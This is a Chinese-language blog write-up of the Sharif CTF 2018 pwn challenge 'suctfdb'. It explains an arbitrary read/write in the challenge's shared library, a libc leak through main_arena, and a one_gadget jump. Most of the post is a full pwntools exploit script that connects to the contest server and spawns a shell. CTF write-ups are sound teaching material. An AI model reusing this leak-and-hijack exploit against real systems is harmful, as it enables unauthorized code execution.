sharif ctf pwn suctfdb writeup

原创

charlie_heng 于 2018-02-04 20:17:31 发布 476 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/79254615

这两天打了一下sharif ctf，比赛平台居然在打着打着的时候被墙……

这题一拿到的时候真的一脸懵逼，python？？？ so？？？

后面静下心来，仔细看了下，发现漏洞多得不得了。。。。

其实主要内存操作都在so里面，所以结合着python代码和so来看就可以了

因为这题可以任意写db的内容，所以可以实现，写任意地址，读任意地址，控制流劫持

虽然有这么多东西，但是利用起来还是有点麻烦的，因为没给libc，这个so也是pie的，读不了got表里面的内容

这题创建完db之后，可以选打印那个函数，打印出一个地址，那个地址是main arena的地址

所以首先是先写个leak函数，把两个libc函数的地址给leak出来，然后到https://libc.blukat.me/查libc的版本，然后就可以下载到libc，然后再利用one gedget这个工具找出magic number，跳转到 libc基址加magic number的地址就可以get到shell了，
因为这个one gedget还有些条件限制….所以会造成本地get不到shell ，但是在服务器就get到shell的现象…….

下面就是利用的代码，每个人的环境不同，可能需要改一些值

```
from pwn import *

debug=0
if debug:
    p=process('./server.py')
    offset=0x399
    system_offset=0x3F450
    oneget_offset=0x3f32a
else:
    p=remote('ctf.sharif.edu', 22106)
    offset=0x3c4
    system_offset=0x45390
    oneget_offset=0x45216

#gdb.attach(proc.pidof(p)[0])
#context.log_level='debug'


def create_db(id,tag,length):
    p.recvuntil('Exit')
    p.sendline(str(id))
```

```
    sleep(0.1)
    p.sendline(tag)
    sleep(0.1)
    p.sendline(str(length))

def edit_db(index,pay):
    p.sendline('2')
    p.recvuntil('Which one to edit:')
    p.sendline(str(index))
    sleep(0.1)
    p.sendline(pay)
    p.recvuntil('Exit\n')

def print_db(index):
    p.sendline('3')
    p.recvuntil('Which')
    p.sendline(str(index))
    p.recvuntil('seq')
    data=p.recvuntil('1.')
    data=data[:-3]
    return data

def delete_db():
    p.sendline('4')
    p.recvuntil('menu>')

def run_method():
    p.sendline('5')

def leak(addr):
    edit_db(1,'1'*0x10+p64(0)+p64(addr))
    data=print_db(2)
    dindex=data.index('seq: ')+5
    data=data[dindex:]
    if(len(data)==0):
        remain=p.recvrepeat(0.1)
        return '\x00'
    remain=p.recvrepeat(0.01)
    return data


raw_input()
create_db(1,'2',3)
sleep(0.1)
p.sendline('1')
sleep(0.1)
p.recvuntil('Exit')
main_arena=print_db(2)
mindex=main_arena.index('seq: ')+5
main_arena=main_arena[mindex:mindex+6]+'\x00'*(8-6)
main_arena=struct.unpack('<Q',main_arena)[0]



print(hex(main_arena))
raw_input()
d1=leak(main_arena-0x88)
print(d1)
d1=struct.unpack('<Q',d1+'\x00\x00')[0]
print(hex(d1))
```

```
print(hex(d1))

edit_db(1,'/bin/sh;'+p64(1)+p64(0)+p64(main_arena-0x40)+p64(8))
edit_db(2,'/bin/sh;')

main_arena=main_arena-main_arena%0x1000
base=main_arena-offset*0x1000

print(hex(base))
#d = DynELF(leak,d1)
#system=d.lookup('system','libc')



edit_db(1,'/bin/sh;'+p64(0)*4+p64(oneget_offset+base))
run_method()
p.interactive()
```